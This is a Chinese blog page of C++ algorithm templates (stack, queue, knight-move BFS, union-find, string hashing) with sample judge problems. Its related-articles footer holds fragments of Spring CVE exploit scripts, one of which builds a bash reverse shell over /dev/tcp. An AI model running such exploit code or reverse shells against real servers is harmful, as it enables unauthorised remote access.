首页 > 其他分享 >2022 暑 模板归纳

2022 暑 模板归纳

时间:2023-05-23 18:56:31浏览次数:53  
标签:return findx 归纳 int void cin 2022 include 模板

目录

  1. 手写栈

  2. 队列

  3. 广度优先级搜索

  4. 并查集

  5. 哈希

一.手写栈


栈 的函数 s.push(x) s.pop() s.top() s.size() s.empty()

//  手写栈
int x,p=0;
int s[10000005];

void push(int x){
    s[++p] = x;
    return;
}
void pop(){
    p--;
    return;
}
int top(){
    return s[p];
}
int size(){
    return p;
}
bool empty(){
    if(p)return false;
    return true;
}
void clean(){
    p=0;
    return;
}

二.队列


队列 的函数 q.front() q.back() q.push(x) q.pop() q.empty() q.size()

示例题目 :P1996

//p1996

queue<int> q;
int n,m,num=1;
int main(){
	cin>>n>>m;
	for(int i=1;i<=n;i++){q.push(i);}
	while(!q.empty()){
		if(num==m){
			cout<<q.front()<<" ";
			q.pop();
			num=1;
		}
		else{
			q.push(q.front());
			q.pop();
			num++;
		}
	}
	return 0;
}

三.广度优先级搜索


示例题目 :P1443

#include<bits/stdc++.h>
#include<queue>
#include<stack>
using namespace std;
int dx[8] = {-2,-1,1,2,2,1,-1,-2};//偏移量数组 
int dy[8] = {1,2,2,1,-1,-2,-2,-1};
int n,m,sx,sy,a[405][405];
struct pos{int x,y;}p,nxt;
queue<pos> q;
int main(){
	cin>>n>>m>>sx>>sy;
	for(int i=1;i<=n;i++)
	    for(int j=1;j<=m;j++)
	        a[i][j] = -1;//将地图初始化 
	a[sx][sy] = 0;//设置起点 
	p.x=sx , p.y=sy;//包装起点 成 结构体 方便入队 
	q.push(p); 
	while(!q.empty()){
		p = q.front();//备份当前状态 
		q.pop();//删除当前状态 
		for(int i=0;i<8;i++){//枚举下一次状态 
			int px = p.x+dx[i] , py = p.y+dy[i];
			if(px>=1 && px<=n && py>=1 && py<=m && a[px][py] == -1){
				nxt.x = px , nxt.y = py;//将可行的点坐标包装 成 结构体 
				q.push(nxt); 
				a[px][py] = a[p.x][p.y]+1;//下一次的步数 = 上一次步数+1 
			}
		}
	}
	for(int i=1;i<=n;i++){//输出 
		for(int j=1;j<=m;j++)
			cout<<a[i][j]<<" ";
		cout<<endl;
	}
	return 0;
} 

四.并查集


#include<bits/stdc++.h>
using namespace std;
int a[5005],n,m,k,a1,a2,sum;
int findx(int x){
	if(a[x]==x)return x;
	return a[x] = findx(a[x]); //优化后并查集 
}
void merge(int x,int y){
	int x1=findx(x),y1 = findx(y);//先找到他们的组长 
	if(x1==y1)return;//如果本来就有关系,那么放弃操作 
	a[x1] = y1;
}
int main(){
	while(1){
		cin>>n;
		if(n==0)return 0;
		cin>>m;
		for(int i=1;i<=n;i++)a[i]=i;
		while(m--){
			cin>>a1>>a2;
			merge(a1,a2);
		}
		for(int i=1;i<=n;i++)
		  if(a[i]==i)sum++;
		cout<<sum-1<<endl;
		sum=0;
	}
	
}

五.哈希


//哈希 示例代码 
#include<bits/stdc++.h>
#include<vector>
using namespace std;
#define mod 100007
#define k 128
vector<string> v[mod+2];
int n,x,ans;
string str;
void insert(string str){
	int hash = 1;
	for(int i=0;i<str.length();i++){
		hash = (hash * k + str[i] ) % mod;
	}
	for(int i=0;i<v[hash].size();i++){
		if(v[hash][i] == str)return;
	}
	v[hash].push_back(str);
	ans++;
}
int main(){
	cin>>n;
	for(int i=1;i<=n;i++){
		cin>>str;
		insert(str);
	}
	cout<<ans;
	return 0;
}

标签:return,findx,归纳,int,void,cin,2022,include,模板
From: https://www.cnblogs.com/So-noSlack/p/17426099.html

相关文章

  • CVE-2022-22980
    #CVE-2022-22980SpringDataMongoDBSpEL表达式注入importrequestsimporturllibimportbase64importargparsedefpoc(url,ip,prot):urll=f'{url}/?name='shell=f'/bin/bash-i>&/dev/tcp/{ip}/{prot}0>&1'shell=s......
  • CVE-2022-22965
    #CVE-2022-22965:Spring远程代码执行importrequestsimportargparseimporttimeimportreimportbase64importurllib.parseheader={"Accept-Encoding":"gzip,deflate","Accept":"*/*","Accept-Languag......
  • CVE-2022-22963
    #SpringCloudFunctionSpEL代码注入(CVE-2022-22963)importrequestsimportargparseimportbase64headers={"Accept-Encoding":"gzip,deflate","Accept":"*/*","User-Agent":"Mozilla......
  • CVE-2022-22947
    #CVE-2022-22947:SpringCloudGateway远程代码执行importrequestsimportjsonimportsysimportbase64importargparseimportreurl1='/actuator/gateway/routes/hacktest'url2='/actuator/gateway/refresh'url3='/actuator/gateway/routes/......
  • C++ 模板 使用 enum 代替 typename
    enumtestEnum{A,B,C};template<testEnumC>classTestClassTemplate{public:voidprint(){printf("common\n");}};template<>classTestClassTemplate<A>{public:voidprint(){printf(&quo......
  • 母函数详解(定义,模板代码,用法)
    本篇文章前半部分的母函数定义及讲解,和后面的题目推荐,在数学中,某个序列的母函数(Generatingfunction,又称生成函数)是一种形式幂级数,其每一项的系数可以提供关于这个序列的信息。使用母函数解决问题的方法称为母函数方法。母函数可分为很多种,包括普通母函数、指数母函数、L级数、贝......
  • 网络流模板
    #include<cstdio>#include<cstring>#include<stack>#include<queue>#include<cassert>#include<list>#include<vector>#definesdstd::#defineUP(i,s,e)for(autoi=s;i<e;++i)constexprintINF=0x3f3f3......
  • pytest + yaml 框架 -29.模板过滤器语法与自定义过滤器使用
    前言v1.2.6版本支持模板过滤器语法的使用,并且可以自定义过滤器了。针对有同学提到上个接口返回一个id值,下个接口引用变量的时候需要根据这个值做一些运算,比如在引用的结果加1.jinja2是可以支持模板过滤器语法的,本篇介绍下模板过滤器的相关使用.v1.2.6版本主要更新以下几点1......
  • final函数模板
    #include<iostream>#include<cmath>usingnamespacestd;classPoint{ private: doublex; doubley; doublez; public: Point(doublea,doubleb,doublec):x(a),y(b),z(c){}; frienddoubleoperator-(Point,Point);};template<classT>double......
  • flowable动态创建多级流程模板
    flowable动态创建多级流程模板引入Maven依赖<dependency><groupId>org.flowable</groupId><artifactId>flowable-spring-boot-starter</artifactId><version>6.6.0</version></dependency>动态创建流程节点工具类/***动态创......